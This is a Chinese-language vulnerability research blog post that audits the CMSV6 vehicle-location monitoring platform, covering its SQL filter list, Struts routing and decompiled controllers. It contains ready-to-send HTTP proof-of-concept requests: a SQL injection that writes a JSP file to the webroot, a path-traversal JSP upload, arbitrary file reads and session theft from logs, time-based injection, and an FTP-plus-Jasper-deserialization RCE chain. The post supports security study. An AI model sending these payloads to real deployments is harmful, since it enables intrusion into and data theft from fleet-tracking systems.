通天星CMSV6 车载定位监控平台漏洞分析及思考
Harder 发表于 北京 漏洞分析 1603浏览 · 2024-07-29 02:50

通天星CMSV6 车载定位监控平台漏洞分析及思考

作者: Harder@微步漏洞团队

0x01 通天星CMSV6车载监控平台简介

通天星CMSV6车载监控平台主要是基于SSH(Spring++Hibernate)框架的平台

0x02 环境搭建

官网上下载需要的环境https://drive.weixin.qq.com/s?k=AEUAHgfEAAwFuWbUBN#/ ,然后在windows虚拟机里面直接运行exe就行

在配置文件中catalina.bat 添加一句:

set "JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:6665"

然后暂停web服务,因为不知道自带的控制端读取的那个配置文件,所以我们启动setup.bat就行,读取catalina.bat配置。(有坑,我是自己新写的一些pei'z)

然后IDEA开启Remote JVM Debug就行,就可以进行debug了

0x03 框架路由和Filter分析

Filter分析

首先filter吧,这个大概就是读配置文件web.xml,这里写了很多filter,重点看看这几个吧

发现其实对整个框架的REQUEST都进行了xss,sql过滤.

最新版本的正则(其实后面的漏洞分析也能发现,之前的sql注入产生就是因为filter过滤不完全导致的):

private static String badStrReg = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";



    static {
        sqlPattern = Pattern.compile(badStrReg, 2);
        matchs.add("'insert ");
        matchs.add("select ");
        matchs.add("select/");
        matchs.add("delete ");
        matchs.add("update ");
        matchs.add("drop ");
        matchs.add("truncate ");
        matchs.add("declare ");
        matchs.add("sitename ");
        matchs.add("net user ");
        matchs.add("xp_cmdshell ");
        matchs.add("like ");
        matchs.add("sysdate()");
        matchs.add("now()");
        matchs.add("benchmark");
        matchs.add("database()");
        matchs.add("system_user()");
        matchs.add("user()");
        matchs.add("current_user()");
        matchs.add("session_user()");
        matchs.add("version()");
        matchs.add("@@Version_compile_os");
        matchs.add("class.module.*");
        matchs.add("sleep(");
        matchs.add("instr(");
        matchs.add("rpad(");
        matchs.add("find_in_set(");
        matchs.add("extractvalue(");
        matchs.add("OUTFILE ");
        matchs.add("INFORMATION_SCHEMA");
        matchs.add("ORD(");
        matchs.add("MID(");
        matchs.add("schema_name");
        matchs.add("case when");
        matchs.add("ASSERTION");
        matchs.add("BIT_LENGTH");
        matchs.add("DBMS_PIPE");
        matchs.add("WAITFOR");
        matchs.add("DELAY");
        matchs.add("ORDER/");
        matchs.add("()");
        matchs.add(")(");
        matchs.add("/**/");
        matchs.add("%27");
    }

xssfilter没啥好看的,历史也没爆过XSS相关的漏洞

路由分析

​ 读取Struts.xml配置文件发现

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"
        "http://struts.apache.org/dtds/struts-2.5.dtd">
<struts>
    <!--在URL中的Action段中是否支持斜线-->
    <constant name="struts.enable.SlashesInActionNames" value="true"/>
    <constant name="struts.devMod" value="false"/>
    <constant name="struts.enable.DynamicMethodInvocation" value="true"/>
    <!--排除 webSocket协议 -->
    <constant name="struts.action.excludePattern" value="/ws/.*,ws://.*,/druid/.*"/>
    <!-- Struts2的转向配置 -->
    <!--
        使用struts2的JSON插件所要做的配置是Struts2的配置文件的package要继承json-default,
        而不是struts-default。json-default已经继承了struts-default的。
    -->
    <package name="struts2" extends="json-default" strict-method-invocation="false">
        <result-types>
            <result-type name="customjson" class="com.framework.web.result.CustomJsonResult"/>
            <result-type name="beetl" class="org.beetl.ext.struts2.Struts2BeetlActionResult" default="true">
                <param name="contentType">text/html; charset=UTF-8</param>
            </result-type>
        </result-types>

        <!-- 定义一个拦截器     -->
        <interceptors>
            <interceptor name="sessionOut" class="com.gpsCommon.filter.SessionIterceptor"/>
            <interceptor name="accessLimit" class="com.gpsCommon.filter.AccessLimitFilter"/>
            <!--  拦截器栈  -->
            <interceptor-stack name="gps">
                <interceptor-ref name="defaultStack"/>
                <interceptor-ref name="sessionOut"/>
                <interceptor-ref name="accessLimit"/>
            </interceptor-stack>
        </interceptors>
        <default-interceptor-ref name="gps"/>

        <global-results>
            <result name="customException" type="customjson"/>
        </global-results>
        <global-exception-mappings>
            <exception-mapping name="BusinessException" exception="com.framework.exception.BusinessException"
                               result="customException"/>
            <exception-mapping name="businessException" exception="com.framework.exception.BusinessException"
                               result="customException"/>
            <exception-mapping name="exception" exception="java.lang.Exception" result="customException"/>
        </global-exception-mappings>
        <action name="**/rand.action" class="com.framework.web.action.RandomPictureAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="inputName">inputStream</param>
            </result>
        </action>
        <!-- =========web请求通用配置========== -->
        <action name="**/*_*.action" class="{2}" method="{3}">
            <result type="customjson"/>
            <result name="input" type="customjson"/>
            <result name="excel" type="stream">
                <param name="contentType">application/vnd.ms-excel</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="csv" type="stream">
                <param name="contentType">application/csv</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="pdf" type="stream">
                <param name="contentType">application/pdf</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="image" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="inputName">inputStream</param>
            </result>
            <result name="media" type="stream">
                <param name="contentType">application/*</param>
                <param name="inputName">fileInputStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="zip" type="stream">
                <param name="contentType">application/x-msdownload</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="video" type="stream">
                <!-- 下载文件类型定义 -->
                <param name="contentType">application/octet-stream</param>
                <!-- 下载文件输出流定义 -->
                <param name="inputName">inputStream</param>                  
                <!-- 下载文件处理方式 -->                 
                <param name="contentDisposition">attachment;filename="${fileName}"</param>
                <!-- 下载文件的缓冲大小 -->
                <param name="bufferSize">4096</param>
            </result>

            <!-- 页面重定向  -->
            <!--    <result name="redirect" type="redirect">
                        <param name="location">/808gps/index.html</param>               
                    <param name="clientLogin">2</param>
                    <param name="userSession">${userSession}</param>
              </result> -->
        </action>

        <!-- =========API请求通用配置========== -->
        <action name="*_*.action" class="{1}" method="{2}">
            <result type="customjson"/>
            <result name="input" type="customjson"/>
            <result name="excel" type="stream">
                <param name="contentType">application/vnd.ms-excel</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="csv" type="stream">
                <param name="contentType">application/csv</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="pdf" type="stream">
                <param name="contentType">application/pdf</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="image" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="inputName">inputStream</param>
            </result>
            <result name="media" type="stream">
                <param name="contentType">application/*</param>
                <param name="inputName">fileInputStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="zip" type="stream">
                <param name="contentType">application/x-msdownload</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="video" type="stream">
                <!-- 下载文件类型定义 -->
                <param name="contentType">application/octet-stream</param>
                <!-- 下载文件输出流定义 -->
                <param name="inputName">inputStream</param>                  
                <!-- 下载文件处理方式 -->                 
                <param name="contentDisposition">attachment;filename="${fileName}"</param>
                <!-- 下载文件的缓冲大小 -->
                <param name="bufferSize">4096</param>
            </result>

            <!-- 页面重定向  -->
            <!--    <result name="redirect" type="redirect">
                        <param name="location">/808gps/index.html</param>               
                    <param name="clientLogin">2</param>
                    <param name="userSession">${userSession}</param>
              </result> -->
        </action>

    </package>

    <!-- 日志 -->
    <package name="808gps" namespace="/808gps/logger" extends="struts-default" strict-method-invocation="false">
        <result-types>
            <result-type name="beetl" class="org.beetl.ext.struts2.Struts2BeetlActionResult" default="true">
                <param name="contentType">text/html; charset=UTF-8</param>
            </result-type>
        </result-types>
        <action name="info.action" class="com.gps808.loggerManagement.action.SelectDevAction" method="loggerInfo">
            <result name="success">/808gps/LoggerManagement/logIndex.html</result>
            <result name="error" type="redirect">/error.html</result>
            <result name="login" type="redirect">/808gps/login.html</result>
        </action>
        <action name="getLogger.action" class="com.gps808.loggerManagement.action.DownloadLoggerAction">
            <result name="success" type="stream">
                <!-- 下载文件类型定义 -->
                <param name="contentType">application/octet-stream</param>
                <!-- 下载文件输出流定义 -->
                <param name="inputName">inputStream</param>                  
                <!-- 下载文件处理方式 -->                 
                <param name="contentDisposition">attachment;filename="${fileName}"</param>
                <!-- 下载文件的缓冲大小 -->
                <param name="bufferSize">4096</param>
            </result>
        </action>
    </package>
    <!-- API访问路径不能改,手动配置每一个action访问路径-->
    <include file="struts-api-action.xml"/>
    <!-- 配置html访问路径-->
    <include file="struts-html-action.xml"/>
    <!-- 微信-->
    <include file="struts-wechat-action.xml"/>
</struts>

发现路由web路由规则为任意路径+/类名+_+对应的方法名字.action

发现api的规则是为类名+_+对应方法名字.action

这个spring.xml也映射了一些配置文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xml>
<model>
    <!-- 公共模块 -->
    <value>spring/applicationContext-gpsCommon.xml</value>
    <!-- gps808 -->
    <value>spring/applicationContext-gps808-common.xml</value>
    <value>spring/applicationContext-gps808-operationManagement.xml</value>
    <value>spring/applicationContext-gps808-report.xml</value>
    <value>spring/applicationContext-gps808-rule.xml</value>
    <value>spring/applicationContext-gps808-track.xml</value>
    <value>spring/applicationContext-gps808-monitor.xml</value>
    <value>spring/applicationContext-gps808-videoTrack.xml</value>

    <value>spring/applicationContext-gps808-api.xml</value>
    <value>spring/applicationContext-gps808-vdo.xml</value>
    <value>spring/applicationContext-gps808-loggerManagement.xml</value>
    <value>spring/applicationContext-gps808-h5.xml</value>
    <!--微信模块-->
    <value>spring/applicationContext-gps808-wechat.xml</value>

    <!--智慧渣土模块-->
    <value>spring/applicationContext-gps808-dirtTruckManagement.xml</value>
    <!--插件jar包校车-->
    <value>spring/applicationContext-gps808-plugin.xml</value>
    <!--插件jar包川标-->
    <value>spring/spring-chuanbiao.xml</value>
    <!--公务车-->
    <value>spring/applicationContext-gps808-zsy.xml</value>



</model>

映射的文件中写了一些关于Bean的配置,spring框架就可以自动管理Bean

0x04 漏洞分析

接口pointManage存在SQL注入

POC:

POST /point_manage/merge HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Host: ip

id=1&name=1' UNION SELECT%0aNULL, 0x3c25206f75742e7072696e7428227a7a3031306622293b206e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b20253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/allgods.jsp' FROM user_session a
WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8

我们首先看看filter发现完全可以绕过,poc就进行了绕过

String badStr = "'insert |select |delete |update |drop |truncate |declare |sitename |net user |xp_cmdshell |like |sysdate()|now()|class.module.*|sleep(|/*";
String[] badStrs = badStr.split("\\|");

for(int i = 0; i < badStrs.length; ++i) {
    if (str.contains(badStrs[i])) {
        log.error("匹配到:" + badStrs[i]);
        return true;
    }
}

然后再找sink的地方,路径是com.gps808.inspect.controller.PointLineRelationController类中

接收到参数,继续跟进

找到点了,我们来观察一下这个语句

append就相当于拼接语句,实际的sql语句如下:

SELECT a.id as id, a.name as name, a.type as type, a.map_id as mapId, a.install_place as installPlace, a.check_item as checkItem, a.update_time as updateTime, a.create_time as createTime FROM xj_point_manage a WHERE a.name = '%s' AND a.id != '%d'

这里就可以就行where型的sql注入了,然后bypass sql filter

接口inspect_file-upload文件上传漏洞

POC:

POST /inspect_file/upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 226
Content-Type: multipart/form-data; boundary=2e7688d712bcc913201f327059f9976b

--2e7688d712bcc913201f327059f9976b
Content-Disposition: form-data; name="uploadFile"; filename="../707140.jsp"
Content-Type: application/octet-stream

<% out.println("007319607"); %>
--2e7688d712bcc913201f327059f9976b--

我们看看sink的地方

路径com.gps808.inspect.controller.inspectFileUploadController下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.gps808.inspect.controller;

import com.framework.web.annotation.NotLogin;
import com.framework.web.dto.AjaxResult;
import com.gps808.inspect.vo.InspectFileVo;
import com.gps808.report.action.base.StandardReportBaseAction;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

@NotLogin
@RestController
@RequestMapping({"/inspect_file"})
public class InspectFileUploadController extends StandardReportBaseAction {
    private static final long serialVersionUID = -4988160694076411531L;

    public InspectFileUploadController() {
    }

    @PostMapping({"/upload"})
    @ResponseBody
    public AjaxResult upload(MultipartFile uploadFile) throws Exception {
        String folderName = this.getRequestStringEx("folderName");
        if (StringUtils.isBlank(folderName)) {
            folderName = "software";
        }

        String var10000 = this.getRequest().getSession().getServletContext().getRealPath("upload/");
        String realPath = var10000 + folderName;
        File file = new File(realPath);
        if (!file.exists()) {
            file.mkdirs();
        }

        long var9 = System.nanoTime();
        String fileName = "" + var9 + "_" + uploadFile.getOriginalFilename();
        File target = new File(realPath + "/" + fileName);
        uploadFile.transferTo(target);
        InspectFileVo fileVo = new InspectFileVo();
        fileVo.setFilePath("/upload/" + folderName + "/" + fileName);
        List<String> jpgArray = new ArrayList();
        jpgArray.add("tiff");
        jpgArray.add("pjp");
        jpgArray.add("pjpeg");
        jpgArray.add("jfif");
        jpgArray.add("webp");
        jpgArray.add("tif");
        jpgArray.add("bmp");
        jpgArray.add("png");
        jpgArray.add("jpeg");
        jpgArray.add("jpg");
        jpgArray.add("gif");
        jpgArray.add("ico");
        jpgArray.add("xbm");
        jpgArray.add("dib");
        if (jpgArray.contains(this.getsuffixEx(fileName))) {
            fileVo.setFileType(1);
        } else {
            fileVo.setFileType(2);
        }

        return AjaxResult.getSuccess((String)null, fileVo);
    }

    private String getsuffixEx(String fileName) {
        String[] strArray = fileName.split("\\.");
        int suffixIndex = strArray.length - 1;
        return strArray[suffixIndex].toLowerCase();
    }

    protected boolean checkPrivi() {
        return true;
    }
}

这个foldname竟然是通过参数获取的,下面的代码是拼接实现的,就可以导致目录穿越

然后整段代码没有对文件后缀进行校验,所以可以直接上传了

在这完成了对文件的保存和文件信息的构建(上传的目录)

接口xz_center信息泄露漏洞

POC:

POST /xz_center/list HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

page=1

com.gps808.operationManagement.service.XzCenterController接口下

在DAO层查询数据,最后返回就行了

接口StandardLoginAction_getAllUser存在信息泄露

POC:

POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Length: 9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate

json=null

com.gps808.operationManagement.action.StandardLoginAction

接口downloadLogger任意文件读取漏洞

POC:

GET /808gps/logger/downloadLogger.action?fileName=C://Windows//win.ini HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

com.gps808.loggerManagement.action.DownloadLoggerAction

接口disable;downloadLogger.action存在sql注入

SpringMVC

显示controller->Service->DAO层

其实这里实现了filter的绕过。看filter代码很容易就能想到绕过方式了

GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host: 192.168.52.130
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Connection: close
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate

接口StandardReportMediaAction_getImage存在任意文件下载

GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: 192.168.52.130
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

com.gps808.report.action.StandardReportMediaAction

查找到类StandardReportMediaAction的extend往上层查找,发现getImage函数

组合拳CMSV6车载定位监控平台远程代码执行

POC:

第一步是通过任意文件读取漏洞,读取log日志获取admin的session信息

第二步通过默认密码登录ftp服务器上传文件(或通过后台任意文件上传漏洞)

第三步触发上传文件中的恶意代码

在路由StandardSchoolBusAction_downLoad.action接口任意文件下载问题,然后跟进我们定位sink到com.gpsCommon.action.CommonBaseAction#downLoad,存在任意代码下载

public String downLoad() {
        int result = 0;

        try {
            String filePath = this.getDownloadFileRealPath(this.getRequest());
            if ((!filePath.contains("tomcat/") || filePath.contains("tomcat/ttxapps")) && !filePath.contains(".xml") && !filePath.contains("WEB-INF") && !filePath.contains("classes")) {
                if (!AssertUtils.isNull(filePath)) {
                    InputStream ins = null;
                    BufferedInputStream bins = null;
                    OutputStream outs = null;
                    BufferedOutputStream bouts = null;
                    Integer requestStringEx = this.getRequestInteger("isTure");
                    Integer isStream = this.getRequestInteger("isStream");
                    Integer isDel = this.getRequestInteger("isDel");
                    String fileRealPath = null;
                    if (requestStringEx != null && requestStringEx == 1) {
                        fileRealPath = filePath;
                    } else {
                        fileRealPath = this.getDownloadFileRealPath(this.getServletContext(), filePath);
                    }

                    File file = new File(fileRealPath);
                    if (file.exists()) {
                        ins = new FileInputStream(fileRealPath);
                        bins = new BufferedInputStream(ins);
                        outs = this.getResponse().getOutputStream();
                        bouts = new BufferedOutputStream(outs);
                        if (isStream == null || isStream != 1) {
                            this.setDownLoadParam(this.getRequest(), this.getResponse(), file.getName());
                        }

                        int b = false;
                        byte[] buffer = new byte[512];

                        int b;
                        while((b = bins.read(buffer)) != -1) {
                            bouts.write(buffer, 0, b);
                        }

                        bouts.flush();
                        ins.close();
                        bins.close();
                        outs.close();
                        bouts.close();
                        if (isDel != null && isDel == 1 && file.exists()) {
                            file.delete();
                        }
                    } else {
                        result = 44;
                        this.addCustomResponse(ACTION_RESULT, 44);
                        this.addCustomResponse(ACTION_RESULT_TIP, "File Not Exist!");
                        this.log.error("下载的文件不存在");
                    }
                } else {
                    result = 8;
                    this.addCustomResponse(ACTION_RESULT, 8);
                    this.addCustomResponse(ACTION_RESULT_TIP, "Request Param Error!");
                    this.log.error("下载文件时参数错误");
                }
            } else {
                result = 24;
                this.addCustomResponse(ACTION_RESULT, 24);
                this.addCustomResponse(ACTION_RESULT_TIP, "Permission denied!");
                this.log.error("用户无权限下载Tomcat内的文件");
            }
        } catch (Exception var14) {
            Exception ex = var14;
            this.log.error(ex.getMessage(), ex);
            result = 4;
            this.addCustomResponse(ACTION_RESULT, 4);
            this.addCustomResponse(ACTION_RESULT_TIP, "Request Exception!");
        }

        return this.getReturnParam(result);
    }

可以用相对路径下载:

GET /808gps/StandardLoginAction_downLoad.action?path=.././.././../tomcat/webapps/../logs/log_info.log&isTure=0 HTTP/1.1
Host: 192.168.52.130
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

POST /WebuploaderAction_ajaxAttachFileUpload.action?folderName=safeProduct HTTP/1.1
Host: 192.168.52.130
Accept: text/plain, */*; q=0.01
Cookie: JSESSIONID=0B02E34CA88193EE105DB81738513E43
Accept-Encoding: gzip, deflate
jsessionId: 0B02E34CA88193EE105DB81738513E43
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
csrfToken: 4ca3ea0b6f4dd238267d1a4f97cd5ea6
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------25556289928629340783789838609
Origin: http://192.168.52.130
Referer: http://192.168.52.130/808gps/SafeProductManagement/SafeProductInfo.html
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 507209

-----------------------------25556289928629340783789838609
Content-Disposition: form-data; name="upload"; filename="aaa.docx"
Content-Type: application/pdf

aaaaa
-----------------------------25556289928629340783789838609--

然后后台文件这里可以实现文件上传,但是还是不能上传webshell,因为这里限制的很死.

其实我们看到官方的通告中,是用默认密码未修改的ftp上传的jasper文件https://mp.weixin.qq.com/s/tpETW7CqL7C-KGc7E36AxQ

最后一步找jasper反序列化执行的sink点,在com.gps808.operationManagement.action.StandardLineAction#report

public void report() {
        try {
            String format = this.getRequestString("format");
            String name = this.getRequestString("name");
            String lid = this.getRequestString("id");
            String direct = this.getRequestString("direct");
            String disposition = this.getRequestString("disposition");
            String reportTitle = "";
            StandardCompany line = (StandardCompany)this.standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid));
            if (line != null) {
                reportTitle = line.getName();
                if (direct != null) {
                    if (direct.equals("0")) {
                        reportTitle = reportTitle + "S";
                    } else if (direct.equals("1")) {
                        reportTitle = reportTitle + "X";
                    }
                }
            }

            AjaxDto<StandardLineStationRelationStation> stationRelation = this.standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1, " order by sindex asc ", (List)null, (Pagination)null);
            List<Map> list = new ArrayList();
            String language = this.getAndUpdateSessionLanguage();
            if (stationRelation != null && stationRelation.getPageList() != null) {
                int i = 0;

                for(int j = stationRelation.getPageList().size(); i < j; ++i) {
                    StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i);
                    Map map = new HashMap();
                    map.put("sindex", relation.getSindex());
                    map.put("name", relation.getStation().getName());
                    map.put("direct", this.getStationDirectEx(relation.getStation().getDirect(), language));
                    map.put("stype", this.getStationTypeEx(relation.getStype(), language));
                    map.put("lngIn", GpsUtil.formatPosition(relation.getStation().getLngIn()));
                    map.put("latIn", GpsUtil.formatPosition(relation.getStation().getLatIn()));
                    map.put("angleIn", relation.getStation().getAngleIn());
                    map.put("speed", GpsUtil.getFormatSpeed(relation.getSpeed(), 1, new Boolean[0]));
                    map.put("len", GpsUtil.getFormatLiCheng(relation.getLen()));
                    list.add(map);
                }
            }

            Map mapHeads = new HashMap();
            mapHeads.put("sindex", LanguageCache.getLanguageTextEx("line_station_index", language));
            mapHeads.put("name", LanguageCache.getLanguageTextEx("line_station_name", language));
            mapHeads.put("direct", LanguageCache.getLanguageTextEx("line_station_direction", language));
            mapHeads.put("stype", LanguageCache.getLanguageTextEx("line_station_type", language));
            mapHeads.put("lngIn", LanguageCache.getLanguageTextEx("line_station_in_lng", language));
            mapHeads.put("latIn", LanguageCache.getLanguageTextEx("line_station_in_lat", language));
            mapHeads.put("angleIn", LanguageCache.getLanguageTextEx("line_station_in_angle", language));
            mapHeads.put("speed", LanguageCache.getLanguageTextEx("line_station_limit_speed", language) + " (KM/H)");
            mapHeads.put("len", LanguageCache.getLanguageTextEx("line_station_distance", language) + " (KM)");
            ReportPrint print = null;

            try {
                print = this.getReportCreate().createReport(name);
                print.setMapHeads(mapHeads);
                print.setReportTitle(reportTitle);
                print.setDateSource(list);
                print.setFormat(format);
                print.setDocumentName(name);
                print.setDisposition(disposition);
                print.exportReport();
            } catch (IOException var15) {
                this.log.error(var15.getMessage(), var15);
            } catch (ServletException var16) {
                this.log.error(var16.getMessage(), var16);
            } catch (Exception var17) {
                this.log.error(var17.getMessage(), var17);
            }
        } catch (Exception var18) {
            Exception ex = var18;
            this.log.error(ex.getMessage(), ex);
            this.addCustomResponse(ACTION_RESULT, 1);
        }

    }

最后的sink点:

private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {
        String filePath = this.jasperReportPath + File.separator + reportKey + ".jasper";
        File reportFile = null;
        JasperReport jasperReport = null;
        reportFile = new File(filePath);
        if (reportFile.exists() && reportFile.isFile()) {
            jasperReport = (JasperReport)JRLoader.loadObject(reportFile);
        }

调用栈:

com.framework.jasperReports.ReportCreater#_createReport=>com.framework.jasperReports.ReportCreater#getJasperReport=>com.framework.jasperReports.ReportCreater#getJasperReportFromFile=>net.sf.jasperreports.engine.util.JRLoader#loadObject=>net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject

name参数控制这个Jasper路径

最后完整的调用就出来了。

参考: https://y4tacker.github.io/2024/05/18/year/2024/5/%E6%B5%85%E6%9E%90%E9%80%9A%E5%A4%A9%E6%98%9FCMSV6%E8%BD%A6%E8%BD%BD%E5%AE%9A%E4%BD%8D%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

https://mp.weixin.qq.com/s/tpETW7CqL7C-KGc7E36AxQ

0x05 总结

  1. 审计springMVC的sql注入,直接先看DAO层的代码
  2. 关于低版本的那个sqlfilter绕过后,还有很多sink点可以挖掘
  3. 静下来看代码确实能学到很多东西
0 条评论
某人
表情
可输入 255